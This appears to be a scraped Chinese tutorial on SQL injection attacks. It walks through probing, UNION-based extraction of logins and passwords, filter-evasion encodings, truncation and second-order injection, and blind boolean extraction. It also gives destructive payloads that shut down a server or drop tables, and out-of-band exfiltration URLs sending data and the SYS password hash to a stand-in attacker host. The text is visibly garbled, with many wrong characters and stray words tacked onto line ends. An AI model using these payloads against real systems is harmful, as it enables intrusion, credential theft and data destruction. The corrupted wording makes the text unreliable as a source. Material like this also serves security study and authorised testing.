解釋型語言(interpreted language)是一種在運行時由一個運行時組件(runtime component)解釋語言代碼並執行其中包含的指令的語言。與之相對,編譯型語言(compiled language)是這樣一種語言:它的代碼在生成時轉換成機器指令,而後在運行時直接由使用該語言的計算機處理器執行這些指令。前端
理論上說,任何語言均可使用編譯器或註釋器來執行,這種區別並非語言自己的內在特性。基於解釋型語言的執行方式,產生了一系列叫作代碼注入(code injection)的漏洞。sql
Select author,title,year From books Where publisher = 'Wiley' or 'a'='a'shell
這個查詢徹底有效,可獲得和1 =1攻擊相同的效果數據庫
實際上,提交給服務器的任何數據都可以以用戶沒法察覺的方式傳送給數據庫函數,而且可能獲得不安全的處理。所以須要檢查全部這些數據,以防止SQL注入漏洞。這包括全部URL參數、cookie、POST數據項以及HTTP消息頭。沒法哪種狀況,相關參數名與參數值的處理過程均可能存在漏洞。express
當探查SQL注入漏洞時,必定要確保徹底遍歷任何能夠提交專門設計的輸入的多階段過程;應用程序一般會從幾個請求中收集一組數據,一旦收集到所有的數據,就將其保存在數據庫中。這時,若是僅在每一個請求中提交專門設計的數據並監控應用程序對那個請求的響應,就會遺漏許多SQL注入漏洞。後端
滲透測試步驟:瀏覽器
1.提交一個單引號做爲目標查詢的數據。觀察是否會形成錯誤,或者結果是否與原始結果不一樣。安全
2.若是發現錯誤或其餘異常行爲,同時提交兩個單引號,看會出現什麼狀況。數據庫使用兩個單引號做爲轉義序列,表示一個字面量單引號。所以這個序列被解釋成引用字符串中的數據,而不是結束字符串的終止符。若是這個輸入使錯誤或異常行爲消失,應用程序可能易於受到SQL注入服務器
3.進一步覈實漏洞是否存在,可使用SQL鏈接符創建一個等同於「良性」輸入字符串。若是應用程序以和處理對應「良性」輸入相同的方式處理專門設計的輸入,那麼他極可能易於受到攻擊。每種數據庫使用的字符鏈接方法各不相同。在一個易受攻擊的應用程序中,能夠注入一下實例構建等同於FOO的輸入:
Oracle:'||'FOOcookie
MS-SQL:'+'FOO
MySQL:' 'FOO(注意兩個引號之間有一個空格)
能夠在特定的參數中提交SQL通配符%,以肯定應用程序是否與一個後端數據庫交互。例如,在一個搜索字段中提交這個通配符將返回大量結果,指出輸入正被傳送到一個SQL查詢中。固然,這不必定表示應用程序易受攻擊,只表示應該深刻探查以肯定是否存在任何漏洞。
1.嘗試輸入一個結果等於原始數字值的簡單數學表達式。例如,若是原始值爲2,嘗試提交(1+1)或(3-1)。若是應用程序作出相同的響應,就表示它易於受到攻擊
2.若是證明被修改的數據會對應用程序的行爲形成明顯影響,前面描述的測試方法最爲可靠。例如,若是應用程序使用一個數字式PageID參數指定應返回什麼內容,就用(1+1)代替2獲得相同的結果,明顯表示存在SQL注入。然而,若是可以在數字是參數中插入一個徹底隨意的輸入,但應用程序的行爲卻沒有發生改變,那麼前面的檢測方法就沒法發現漏洞。
3.若是第一個測試方法取得成功,能夠利用更加複雜的、使用特殊SQL關鍵字和語法進一步得到與漏洞有關的證據。ASCII命令就是一個典型的實例,它返回被提交字符的數字化ASCII代碼。例如,由於65的ASCII值爲A,在SQL中,如下表達式等於2。67-ASCII('A')
4.若是單引號被過濾掉,那麼前面的測試方法就沒有做用。然而,這時能夠利用這樣一個事實:在必要時,數據庫會隱含地將數字數據轉化爲字符串數據。例如,由於字符1的ASCII爲49,在SQL中,如下表達式等於2:51-ASCII(1)
當探查一個應用程序是否存在SQL注入之類的缺陷時,咱們經常會犯一個錯誤,即忘記某些字符在HTTP請求中具備特殊含義,若是想在攻擊有效載荷(attack payload)中插入這些字符,就必須對他們進行URL編碼,確保應用程序按預料的方式解釋他們。特別是如下字符:
·& 和 = 用於鏈接名稱/值時,創建查詢字符串和POST數據塊。應當分別使用%26和%3d對他們進行編碼;
·查詢字符串不容許使用空格,若是在其中提交空格,整個字符串將當即終止。必須使用 + 或 %20 對其編碼
·因爲 + 被用於編碼空格,若是但願在字符串中使用+,就必須使用%2b對其編碼。所以,在前面的數字化實例中,1+1應以1%2b1的形式提交
·分號被用於分隔cookie字段,必須使用%3b將其編碼
通常來講,前面描述的步驟足以肯定絕大多數的SQL注入漏洞,包括許多向瀏覽器返回無用結果或錯誤信息的漏洞。可是,在某些狀況下,可能有必要使用更加高級的技巧(如時間延遲)來肯定一個漏洞。後面將會描述這些技巧。
SELECT語句被用於從數據庫中獲取信息。他們經常使用於應用程序響應用戶操做而返回信息的功能中,如瀏覽一個產品目錄、查看一名用戶的資料或者進行一項搜索。根據數據庫中的數據覈對用戶提交的信息的登陸功能也常用這種語句。
SQL注入漏洞偶爾也會影響SELECT查詢的其餘部分,如Order by字句或表和欄名稱
INSERT語句用於在表中創建一個新的數據行。應用程序一般使用這種語句添加一條新的審計日誌、建立一個新用戶帳戶或生成一個新訂單
例如,若是一個應用程序容許自我註冊,指定他們本身的用戶名和密碼,就可使用下面的語句將用戶資料插入Users表中:
Insert into users (username,password,ID,privs) values ('daf','secret',2248,1)
若是username和password字段存在SQL注入漏洞,那麼攻擊者就能夠在表中插入任何數據,包括他本身的ID和privs值。然而,要想這麼作,攻擊者就必須確保Values字句的其餘部分正常運行。特別是其中數據項的個數與類型必須正確。例如,當注入username字段時,攻擊者能夠提交如下輸入:foo','bar',9999,0) --
它將創建一個ID爲9999,privs爲0的帳戶。假如privs字段被用來決定帳戶權限,那麼攻擊者就能夠利用它建立一個管理用戶。
有時,攻擊者徹底盲目地注入一個Insert語句也可以從應用程序中提取出字符串數據。例如,攻擊者能夠攔截數據庫的版本字符串,並把它插入本身用戶資料的一個字段中;正常狀況下,瀏覽器將顯示數據庫的版本信息。
當設法注入一個insert語句時,可能沒法提早知道須要提交多少個參數或參數類型。在前面的實例中,能夠經過在Values子句中持續增長一個新的字段,直到應用程序建立確實想要的用戶帳戶,從而解決上述問題。例如,當注入username字段時能夠提交如下輸入:
foo') - -
foo',1)--
foo',1,1)--
foo',1,1,1)--
因爲大多數數據庫都會隱式地將一個整數轉換爲一個字符串,能夠在每一個位置都使用一個整數,在這個實例中,無論其餘字段如何,它將生成一個用戶名爲foo,密碼爲1的帳戶。
若是發現使用值1仍然遭到拒絕,能夠嘗試使用值2000,許多數據庫也會隱式地將它轉換成基於 數據的數據類型。
UPDATE語句用於修改表中的一行或幾行數據。他們常常用在用戶修改已有數據值的功能中,例如,更新聯繫信息、修改密碼或更改訂單數量。
典型UPDATE語句的運行機制與insert語句相似,只是UPDATE語句中一般包含一個WHere字句,告訴數據庫更新表中的哪些行的數據。例如,當用戶修改密碼時,應用程序可能會執行如下查詢:
Update users set password = 'newsecret' where user = 'marcus' and password = 'secret'
實際上,這個查詢首先覈實用戶的現有密碼是否正確,若是密碼無誤,就用新的值更新它。若是這項功能存在SQL注入漏洞,那麼攻擊者就能避開現有密碼檢查,經過輸入如下用戶名更新管理員密碼:admin'--
因爲沒法提早知道應用程序將根據專門設計的輸入執行什麼操做,所以,在一個遠程應用程序中探查SQL注入漏洞每每很是危險。特別注意,修改UPDATE語句中的WHERE字句可能會使一個重要的數據庫表發生完全改變。例如,若是上面的攻擊者以前已經提交了如下用戶名:
admin' or 1=1--
那麼應用程序可能會執行如下查詢:
Update users set password = 'newsecret' where user = 'admin' or 1=1
他會從新設置每一名用戶的密碼!
即便所攻擊的應用程序功能(如主登陸功能)並不會更新任何現有數據,滲透測試員也應當留意這種風險。有時候,在用戶成功登錄後,應用程序會使用用戶提交的用戶名執行各類UPDATE查詢,這意味着任何針對WHERE字句的攻擊可能會「複製」到其餘語句中,給全部應用程序用戶的資料形成嚴重破壞。在嘗試探查或利用任何SQL注入漏洞以前,必須確保應用程序全部者接受這些沒法避免的風險;同時,應該強烈建議他們在開始測試前對數據庫進行完整備份。
DELETE語句用於刪除表中的一行或幾行數據,例如用戶從他們的購物籃中刪除一件商品或從我的資料中刪除一個交貨地址。
SQL使用UNION操做符將兩個或幾個SELECT語句的結果組合到獨立的一個結果中。若是一個Web應用程序的SELECT語句存在SQL注入漏洞,一般可使用UNION操做符執行另外一次徹底獨立的查詢,並將它的結果與第一次查詢的結果組合在一塊兒。若是應用程序向瀏覽器返回查詢結果,那麼就可使用這種技巧從應用程序中提取任意的數據
瞭解UNION兩個重要的限制:
1.若是使用UNION組合兩個查詢的結果,這兩個結果必須結構相同。也就是說,他們的欄數必須相同,必須使用按相同順序出現的相同或兼容的數據類型
2.爲注入另外一個返回有用結果的查詢,攻擊者必須知道它所針對的數據庫表的名稱以及有關欄的名稱。
如今讓咱們更加深刻地分析前一個限制。假設攻擊者試圖注入另外一個返回錯誤欄數的查詢。他提交如下輸入:
Wiley' UNION select username,password from users--
最初的查詢返回3欄,而注入的查詢返回2欄。所以,數據庫返回如下錯誤:
ORA-01789:query block has incorrect number of result columns
假設攻擊者試圖注入另外一個欄內數據類型不兼容的查詢。它提交如下輸入:
Wiley' UNION select uid,username,password from users--
這樣數據庫嘗試把第二個查詢的密碼欄(其中爲字符串數據)與第一個查詢的年代欄(其中爲數字數據)組合起來。由於字符串數據沒法轉換爲數字數據,這個語句形成一個錯誤:
ORA-01789:expression Must have same datatype as corresponding
expression
上面是Oracle返回的錯誤信息。
滲透測試步驟:
攻擊的首要任務是查明應用程序執行的最初查詢所返回的欄數。有兩種方法能夠完成這項任務。
1.能夠利用NULL被轉換爲任何數據類型這一事實,系統性的注入包含不一樣欄數的查詢,
直到注入的查詢獲得執行,例如:
'Union select Null --
'Union select null,null--
'Union select null,null,null--
查詢獲得執行就說明使用了正確的欄數。若是應用程序不返回數據錯誤消息,仍然能夠了解注入的查詢是否成功執行,由於會收到另一行數據,其中包含NULL或一個空字符串
2.能夠在最初的查詢中注入一個Order By字句,並遞增排序欄(ordering column)的索引(index),直到發生錯誤。例如
'order by 1--
'order by 2--
'order by 3--
通常來講,前幾個查詢將會返回和最初的查詢相同的結果,但數據項的順序各不相同。若是發生錯誤,就說明指定了一個無效的欄數,能夠據此查明實際的欄數。
肯定所需的欄數後,下一項任務就是找到一個使用字符串數據類型的欄,以便經過它從數據庫中提取出任意數據。和前面同樣,能夠經過注入一個包含NULL值的查詢,並系統性的用a代替每一個Null,從而完成這項任務。例如,若是知道查詢必須返回3欄,能夠注入一下查詢:
'UNion select 'a',Null,Null--
'Union select Null,'a',Null--
'UNion select Null,Null,'a'--
若是注入的查詢獲得執行,將看到另外一行包含a值的數據,而後就可使用相關欄從數據庫中提取數據。
在Oracle數據庫中,每一個Select語句必須包含一個From屬性,所以,不管欄數是否正確,注入UNION SELECT Null將產生一個錯誤。能夠選擇使用全局可訪問表DUAL來知足這一要求。例如:
'UNION SELECT NULL FROM DUAL--
若是已經肯定注入的查詢所需的欄數,而且已經找到一個使用字符串數據類型的欄,就可以提取出任意數據。一個簡單的概念驗證測試測試是提取數據庫的版本字符串,能夠對任何數據管理系統(DBMS)進行測試。例如,若是查詢一共有3欄,第一欄能夠提取字符串數據,能夠在MS-SQL和MYSQL中注入如下查詢提取數據庫版本:
'UNION SELECT @@version ,null,null--
對Oracle注入如下查詢將獲得相同的結果:
'UNION select banner,null,null from v$version--
下面的實例說明經常使用的數據庫是如何構建Services字符串的。
Oracle:'serv'||'ices'
MS-SQL:'serv'+'ices'
MySQL:'serv' 'ices'(注意中間有空格)
若是正在注入數字數據,就可使用下面的攻擊字符串來識別數據庫。每一個數據項在目標數據庫中的值爲0,在其餘數據庫中則會產生一個錯誤:
Oracle:BITAND(1,1)-BITAND(1,1)
MS-SQL:@@PACK_Received-@@PACK-RECEIVED
MySQL:CONNECTION_ID()-CONNECTION_ID()
註解 MS-SQL和SYbase數據庫起源相同,所以他們在表結構、全局變量和存儲過程方面存在許多類似之處。實際上,後文描述的絕大多數針對MS-SQL的攻擊技巧一樣也適用於SYbase。
·1.Oracle攻擊
典型的搜索使用如下URL:
https://wahh-app.com/emplyees.asp?empno=7521
若是要執行UNION攻擊,須要肯定查詢所需的欄數(他可能與應用程序響應返回的欄數有所不一樣)。注入一個返回單獨一欄的查詢致使以下錯誤消息:
https://wahh-app.com/employees.asp?empno=7521%20UNION%20Select%20Null%20from%20dual--
[oracle][ODBC][Ora]ORA-01789:query block has incorrect number of result columns
繼續在注入的查詢中增長其餘NULL值,直到查詢得以執行,應用程序再也不返回錯誤消息:
https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20Null,NUll,Null,Null%20from%20dual--
注意,表中增長了一個空白行,其中包含注入的查詢返回的NULL值。
肯定了所需的欄數後,如今須要找到一個使用字符串數據欄類型的欄。第一次嘗試沒有成功:
https://wahh-app.com/employees.asp?empNo=7521%20Union%20select%20'a',NUll,Null,Null%20from%20dual--
[oracle][ODBC][ora]ORA-01790:expression must have same datatype as corresponding expression
針對第二欄進行測試,此次取得成功。返回一行包含指定的輸入的數據:
https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20Null,'a',Null,Null%20from%20dual--
如今就有辦法從數據庫中提取字符串數據庫了。下一步須要查明可能包含有用信息的數據庫表的名稱。嘗試查詢user_objects表,它顯示與用戶定義的表和其餘數據項有關的細節:
https://wahh-app.com/employees.asp?empno=7521%20Union%20select%20null,object_name,object_type,null%20from%20user_objects--
前面查詢了user_objects表,它返回Web應用程序的數據庫用戶擁有的全部對象。還能夠查詢all_user_objects,它將返回該用戶能夠看見的所有對象,即便他並不擁有這些對象。
剛纔返回的這些表中可能包含敏感信息,包括在咱們的權限下不管還沒法訪問的僱員信息。首先,USERS表是一個明顯的對象,由於其中可能包含證書。可經過查詢User_tab_columns表查明這個表的欄的名稱:
https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20NUll,column_name,Null,Null%20from%20user_tab_columns%20where%20table_name%20%3d%20'USERS'--
上面的輸出結果代表,USERS表中其實並不包含密碼和會話令牌之類敏感數據。如今已經可以提取這種形式的任何信息。例如:
https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20null,login,password,Null%20from%20users--
在剛剛描述的攻擊中,有兩個欄可用於獲取數據;最簡單的攻擊方法是同時使用這兩個欄。若是隻有一個字段可供使用,也能夠將幾個想要提取的數據鏈接成一個字符串,放入這個字段中,實施相同的攻擊。例如,下面的URL將提取Employee字段中的用戶名和密碼,他們之間用冒號分隔。
https://wahh-app.com/employees.asp?empno=7521%20UNION%20select%20Null,login||':'||password,Null,NUll%20from%20user_objects--
有時,易於受到SQL注入攻擊的應用程序可能會執行各類輸入過濾,以防止攻擊者無限制的利用其中存在的缺陷。例如,應用程序可能會刪除或淨化某些字符,或者阻止經常使用的SQL關鍵字。這種過濾一般很是容易避開,攻擊者可使用如下幾種技巧。
若是應用程序或編碼某些在SQL注入攻擊中常常用到的字符,那麼攻擊者不使用這些字符仍然可以實施攻擊。
(1)若是注入的一個數字數據字段,就不須要使用單引號
(2)若是註釋符號被阻止,一般能夠設計注入的數據,使其不會破壞周圍查詢的語法。例如,不用注入
'or 1=1--
能夠注入:
'or 'a'='a
(3)在一個MS-SQL數據庫中注入批量查詢時,沒必要使用分號分隔符。只要糾正全部批量查詢的語法,不管是否使用分號,查詢解析器都會正確解釋他們。
一些輸入確認機制使用一個簡單的黑名單,阻止或刪除任何出如今這個名單中的數據。在這種狀況下,攻擊者會使用標準的攻擊方法,尋找確認和規範化(canonicalization)機制中的常見缺陷。例如,若是SELECT關鍵字被阻止或刪除,可使用如下輸入:
SeLeCt
SELSELECTECT
%53%45%4c%45%43%54
%2553%2545%254c%2545%2543%2554
與在C++語言中同樣,也能夠在SQL語句插入行內註釋,註釋內容包含在/*與*/符號之間。若是應用程序阻止或刪除輸入中的空格,攻擊者可使用註釋「冒充」注入的數據中的空白符。例如:
SELECT/*foo*/username,password/*foo*/From/*foo*/users
在MySQL中,註釋甚至能夠插入關鍵字中,攻擊者能夠經過這種方法避開某些輸入確認過濾,同時保留查詢中的語法。例如
SEL/*foo*/ECT username,password Fr/*foo*/om users
若是應用程序阻止某些想要做爲數據項插入注入查詢中的字符串,那麼攻擊者就可使用各類字符串操做函數動態創建須要的字符串。例如,若是表達式admin被阻止,那麼攻擊者能夠經過如下方式創建該字符串。
Oracle:'adm'||'in'
MS-SQL:'adm'+'in'
MySQL:concat('adm','in')
多數數據庫都擁有許多自定義的字符串操做函數,可用於以任何複雜的方式建立被阻止的字符串,以避開各類輸入確認過濾。例如,Oracle中包含CHR,REVERSE,TRANSLATE,REPLACE和SUBSTR函數。若是單引號被阻止,攻擊者可使用CHR函數插入一個字符串。例如,下面的查詢可創建字符串admin:
SELECT password from users where username = CHR(97)||CHR(100)||CHR(109)||CHR(105)||CHR(110)
一些數據庫經過向相關函數提交一個用字符串表示的特殊語句來動態執行SQL語句。例如,在MS-SQL中,可使用如下語句:
exec('select * from users')
這容許在語句的任何位置使用前面描述的任何字符串操做技巧,避開旨在阻止某些表達式的過濾。例如:
exec('sel'+'ect * from'+'users')
還能夠創建一個十六進制編碼數字數據字符串,而後向exec函數提交這個字符串,從而避開許多種輸入過濾,包括阻止單引號的過濾,例如:
declare @q varchar(8000)
Select @q = Ox73656c656374202a2066726f6d207573657273
exec(@q)
在Oracle中,可使用EXECUTE IMMEDIATE執行一個以字符串表示的查詢。例如:
declare
l_cnt varchar2(20)
begin
Execute immediate 'sel'||'ect * fr'||'om_users'
into l_cnt
dbms_output.put_line(l_cnt);
end;
應用程序經常對出如今基於字符串的用戶輸入中的任何單引號進行轉義(並拒絕任何出如今數字輸入中的單引號),設法防護SQL注入。如上文所述,兩個連續的單引號是一個轉義序列,表示一個字面量單引號,數據庫將把它解釋爲一個引用字符串中的數據,而不是結束字符串的終止符。所以,許多開發認爲,將用戶提交的輸入中的單引號配對,就能夠防止任何SQL注入攻擊。
除將單引號配對外,一些應用程序還執行其餘操做,設法淨化潛在的惡意輸入。在這種狀況下,攻擊者能夠利用這些步驟的次序避開過濾。
回到前面那個易受攻擊的登陸實例。假設應用程序將用戶輸入中的任何單引號配對,而且對數據執行長度限制,將其截短爲20個字符。提交用戶名:admin'--
如今獲得以下查詢,它沒法避開登陸:
SELECT * from users WHERE username='admin''--' and password = ''
可是,若是提交下面的用戶名(包含19個a和一個單引號):
aaaaaaaaaaaaaaaaaaa'
那麼應用程序首先會將單引號配對,而後把字符串截短爲20個字符,將輸入恢復到最初的值。這回致使一個數據庫錯誤,由於在查詢中注入了另一個單引號,但沒有糾正周圍的語法。如今若是還提交如下密碼值
[空格]or 1=1--
應用程序將執行以下查詢,它可以成功避開登陸:
SELECT * FROM users WHERE username = 'aaaaaaaaaaaaaaaaaaa'' and password = ' or 1=1--'
由a組成的字符串末尾部分的配對的單引號被解釋成一個轉義引號,所以被當作查詢數據的一部分。這個字符串直到下一個單引號位置結束,在最初的查詢中,這個引號後面是用戶提交的密碼。所以,數據庫所理解的用戶名爲下面的字符串:
aaaaaaaaaaaaaaaaaaa' and password =
所以,引號後面的任何內容都被當作查詢數據的一部分,並可進行專門設計以破壞查詢邏輯。
沒必要了解字符串的長度限制,只需輪流提交下面這兩個超長的字符串,看是否會發生錯誤,就能夠檢測這種類型的漏洞:
''''''''''''''''''''''''''''''
a'''''''''''''''''''''''''''''
截短轉義字符發生在一個偶數字符或奇數字符以後,不管哪種狀況,前面的字符串都會在查詢中插入奇數數目的單引號,導致語法失敗。
一種特別有益的避開過濾的方法與二階SQL注入(Second-orderSQLinjection)有關。如前文所述,應用程序經常對出如今基於字符串的用戶輸入中的任何單引號進行轉義(並拒絕任何在數字輸入中的單引號),設法防護SQL注入。即便應用前面描述的攻擊很難突破這種防護方法,但有時仍然能夠避開它。
在前面搜索的示例中,這種方法明顯有效。當用戶輸入搜索項O'Reilly時,應用程序執行如下查詢:
Select author,title,year From books WHERE publisher = 'O''Reilly'
在這個查詢中,用戶提交的單引號被轉換爲兩個單引號,於是傳送給數據庫的搜索項與用戶最初輸入的表達式具備相同的字符含義。
與單引號配對方法有關的問題出如今更復雜的情形中,此時同一個數據項被提交給幾個SQL查詢,而後寫入數據庫被幾回讀取。這是證實簡單輸入確認相對於邊界確認存在不足的一個示例。
回到前面那個容許用戶自我註冊而且在一個INSERT語句中存在SQL注入漏洞的應用程序,假設開發者將出如今用戶數據中的全部單引號配對,嘗試修復這個漏洞。註冊用戶名foo'來創建以下查詢,它不會在數據庫中形成問題:
Insert INTO users(username,password,ID,privs) VALUES ('foo''','secret',2248,1)
如今一切正常。然而,假設應用程序還執行密碼修改功能,那麼只有經過驗證的用戶纔可以訪問這項功能,並且爲了增強保護,應用程序要求用戶提交原始密碼。而後應用程序從數據庫中提取用戶的當前密碼,並對兩個字符串進行比較,覈對用戶提供的密碼是否正確。要完成核對任務,它首先要從數據庫提取用戶的用戶名,而後創建以下查詢:
SELECT password FROM users WHERE username = 'foo''
由於保存在數據庫中的用戶名是字面量字符串foo',當應用程序提出訪問要求時,數據庫即返回這個值;只有在字符串被傳送給數據庫時才使用配對的轉義序列。所以,當應用程序重複使用這個字符串並將它嵌入到另外一個查詢中時,就會形成一個SQL注入漏洞,用戶最初的惡意輸入被嵌入到查詢中。當用戶嘗試修改密碼時,應用程序返回如下消息,揭示了上述缺陷:Unclosed quotation mark before the character string 'foo
要利用這種漏洞,攻擊者只需註冊一個包含專門設計的輸入用戶名,而後嘗試修改密碼。例如,若是註冊以下用戶名:
'or 1 in (select password from users where username='admin')--
註冊步驟將會被應用程序安全處理。若是攻擊者嘗試修改密碼,它注入的查詢就會執行,致使成如下消息,泄露管理員的密碼:
Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Syntax error converting the varchar value 'fme69' to a column of data type int.
攻擊者已經成功避開旨在阻止SQL注入攻擊的輸入確認,如今它可以在數據庫中執行任意查詢並得到查詢結果。
到如今爲止,咱們描述的全部攻擊中,有一些現成的方法可幫助從數據庫中提取有用的數據,例如,經過執行UNION攻擊或在錯誤消息中返回數據。隨着人們防護SQL注入威脅意識的加強,這種情形已經逐漸消失。現在,即便遇到SQL注入漏洞,攻擊者仍然沒法直接獲取注入的查詢結果,這種狀況日益增多。咱們將討論幾種出現這種問題的狀況,以及如何處理這些狀況。
應用程序全部者應意識到,並不是全部攻擊都旨在盜竊敏感數據。一些攻擊可能更具破壞性,例如,僅僅提交12個字符串的輸入,攻擊者就可以使用關閉命令(shutdown command)關閉一個MS-SQL數據庫:'shutdown--
攻擊這還能夠注入惡意命令,如下面這些命令刪除一些數據庫表:
'drop table users--
'drop table accounts--
'drop table customers--
若是包含單引號的輸入獲得正確處理,那麼應用程序中的字符串字段就再也不易於受到SQL注入攻擊。可是,數字數據字段可能仍然存在漏洞;在這種字段中,用戶輸入並不包含在單引號中。這時攻擊者只需經過應用程序的數字響應(numeric response),才能得到注入的查詢結果。
在這種狀況下,攻擊者須要作的是獲取數字形式的有用數據,對注入的查詢的結果進行處理。他們可使用如下兩個關鍵函數:
ASCII,它返回輸入字符的ASCII代碼;
SUBSTRING(或ORACLE中的SUBSTR),它返回輸入的子字符串。
這些函數可結合在一塊兒使用,以數字形式從一個字符串中提取單獨一個字符。例如:
SUBSTRING('Admin',1,1)返回A
ASCII('A')返回65
所以ASCII(SUBSTR('Admin',1,1))返回65
使用這兩個函數,能夠系統地將一個有用的字符串分割成單個的字符,並以數字形式分別返回每個字符。在自定義攻擊中,能夠利用這種技巧,以一次一個字節的速度。迅速得到並重建大量基於字符串的數據。
咱們曾經遇到上述問題的另外一種形式,即應用程序返回的並非真正的數字,而是一些以該數字爲標識符的資源。應用程序根據用戶的輸入執行一個SQL查詢,得到一個文檔的數字標識符,而後將文檔的內容返回給用戶。在這種狀況下,攻擊者能夠先得到標識符在相關數字範圍內的每一份文檔的備份,而後在文檔內容與標識符之間創建映射。接下來,當實施前面描述的攻擊時,攻擊者就能夠參考這個映射肯定應用程序返回的每一個文檔標識符,於是獲得他們成功提取的字符的ASCII值。
在處理字符串操做和數字計算方面,不一樣數據庫平臺之間存在大量細微區別,當實施這種高級攻擊時,攻擊者須要意識到這類區別。經過如下地址能夠找到說明不一樣數據之間這些區別的詳細指南:
http://sqlzoo.net/howto/source/z.dir/i08fun.xml
在許多SQL注入攻擊中,應用程序並不在用戶的瀏覽器中顯示查詢的結果,也不返回數據庫生成的任何錯誤消息。很明顯,在這種狀況下,即便一個SQL注入漏洞確實存在,攻擊者也沒法對其加以利用,提取任意數據或執行任何其餘操做。可是,這種想法是錯誤的,即便出現這種狀況,仍然可使用各類技巧獲取數據、確認其餘惡意操做是否取的成功。
許多時候,能夠注入任意一個查詢,但卻沒法得到查詢結果。回到那個易受攻擊的登陸表單,它的用戶名和密碼字段易於遭受SQL注入:
SELECT * FROM users Where username = 'marcus' and password = 'secret'
除了修改查詢邏輯以避開登陸外,還能夠注入一個徹底獨立的子查詢,使用字符串鏈接符把這個子查詢的結果與控制的數據項鍊接起來。例如:
foo'||(select 1 from dual where (select username from all_users where username = 'DBSNMP') = 'DBSNMP')--
應用程序將執行如下查詢:
SELECT * FROM users WHERE username = 'foo'||(SELECT 1 From dual Where (Select username From all_users where username = 'DBSNMP') = 'DBSNMP')
數據庫將執行注入的任何子查詢,並將它的結果附加在foo以後,而後查找所生成用戶名的資料。固然,這種登陸不會成功,但諸如的查詢將得以執行。在應用程序響應中收到的只是標準的登陸失敗消息。如今須要想辦法得到注入查詢的結果。
若是能對MS-SQL數據庫使用批量查詢(batch query),這時就會出現另外一種類似的情形。批量查詢特別有用,由於它們容許執行一個徹底獨立的語句,在這個過程當中,滲透測試員擁有所有的控制權,可使用另外的SQL語句並針對一個不一樣的表進行查詢。可是,由於批量查詢執行查詢的方式比較特殊,咱們沒法直接得到得到注入查詢的執行結果,一樣須要想辦法得到注入查詢的結果。
在這種狀況下,一種獲取數據庫的有效方法是使用一個帶外通道(out-of-band channel)。已經可以在數據庫中執行任意SQL語句後,滲透測試員每每能夠利用數據庫的一些內置功能在數據庫與本身的計算機之間創建網絡鏈接,經過它傳送從數據庫中收集到的任何數據。
創建適當網絡鏈接的方法依不一樣的數據庫而定,並且取決於應用程序訪問數據庫所使用的用戶權限。下面將描述一些使用每種數據庫時最經常使用、最有效的技巧。
Oracle:
Oracle中包含大量低權限用戶可訪問的默認功能,可使用它們創建帶外鏈接。
UTL_HTTP包可用於向其餘主機提出任意HTTP請求。UTL_HTTP包含豐富的功能,並支持代理服務器、cookie、重定向和驗證。這意味着,若是攻擊者已經攻破一個受到強大保護的企業內部網絡中的數據庫,他就可以利用企業代理服務器與因特網創建外部連接。
在下面的示例中,UTL_HTTP被用於向攻擊者控制的服務器傳送注入查詢的結果。
https://wahh-app.com/employees.asp?empno=7521'||UTL_HTTP.request('wahh-attacker.com:80/'||(select%20username%20from%20all_users%20where%20rownum%3d1))--
這個URL促使UTL_HTTP提出一個Get請求,要求訪問包含all_users表中第一個用戶名的URL。攻擊者只需在wahh-attacker.com安裝一個netcat監聽器就能夠收到結果。
C:\>nc -nlp 80
Get /SYS HTTP/1.1
HOST:wahh-attacker.com
Connection:close
UTL_INADDR包旨在將主機名解析爲IP地址。它可用於在攻擊者控制的服務器中生成任意DNS查詢。許多時候,相比於UTL_HTTP攻擊,這類攻擊更有可能取得成功,由於即便HTTP流量被阻止,一般DNS流量仍然可以穿透企業防火牆。攻擊者可以利用這個包查找選擇的主機名,將它做爲子域放在他們控制的一個域名前面,以此迅速得到任意數據,例如:
https://wahh-app.com/employees.asp?empno=7521'||UTL_INADDR.GET_HOST_NAME((SELECT%20PASSWORD%20FROM%20DBA_USERS%20WHERE%20USERNAME='SYS')||'wahh-attacker.com')
它向包含SYS用戶的密碼散列(password hash)的wahh-attacker.com名稱服務器發出下面這個DNS查詢。
DCB748A5BC5390F2.wahh-attacker.com
UTL_SMTP包可用於發送電子郵件。在外出的電子郵件中發送這個包,便可得到大量從數據庫中截取的數據:
UTL_TCP包可用於打開任意TCP套接字(TCP socket),以發送和接收網絡數據。
利用操做系統:
一般能夠在數據庫服務器的操做系統上執行任意命令,以此實施權限提高攻擊。這時,攻擊者能夠採用許多手段得到數據,如使用FTP,mail和telnet等內置命令,或者將數據複製到Web根目錄使用瀏覽器獲取。
形成帶外通道不可用的緣由不少。大多狀況下,是由於數據庫處在一個受保護的網絡中,它的邊界防火牆禁止任何與因特網或其餘網絡的帶外鏈接。這時,只能經過Web應用程序注入點(injection point)訪問數據庫。
回到那個可注入用戶名和密碼字段以執行任意查詢的登陸功能:
SELECT * FROM users WHERE username = 'marcus' and password = 'secret'
假如尚未找到將注入查詢的結果返回給瀏覽器的方法。可是已經知道如何使用SQL注入改變應用程序的行爲。例如,提交下面兩個輸入將獲得大相徑庭的結果:
admin' and 1=1--
admin' and 1=2--
在第一種狀況中,應用程序將容許攻擊者以管理員的身份登陸。在第二種狀況中,登陸嘗試將會失敗,由於1=2這個條件總爲假。能夠利用這種應用程序行爲控制推斷數據庫中任意條件的真假。例如,使用前面描述的ASCII和SUBSTRING函數,攻擊者能夠測試截獲字符串中的一個字符是否爲特定的值。例如,提交下面這段輸入將容許攻擊者以管理員身份登陸,由於經測試條件爲真:
admin' and ASCII(SUBSTRING('Admin',1,1))=65--
可是,提交下面的輸入,登陸不會取得成功,由於經測試條件爲假:
admin' and ASCII(SUBSTRING('Admin',1,1))=66--
提交大量這類查詢,循環每一個字符的全部可能的ASCII編碼,直到出現一個「觸點」,就可以以每次一個字節的速度,提取出整個字符串。
Absinthe並不是一種可簡單上手的工具,要有效的使用它,必須徹底瞭解所利用的SQL注入漏洞,而且可以提交專門設計的輸入,以某種可探測的方式影響應用程序的響應。
第一步:根據實施攻擊所需的所有信息對Absinthe進行配置,包括如下幾項。
1.URL和請求方法
2.目標數據庫的類型,以便一旦發動攻擊,Absinthe可以得到相關元信息。
3.請求參數,以及是否每一個參數均可被注入
4.任何調整攻擊所需的其餘選項。若有必要,Absinthe可在每一個注入的有效載荷後附加一個指定的字符串,並能夠添加註釋字符,以確保修改後生成的查詢符合語法。
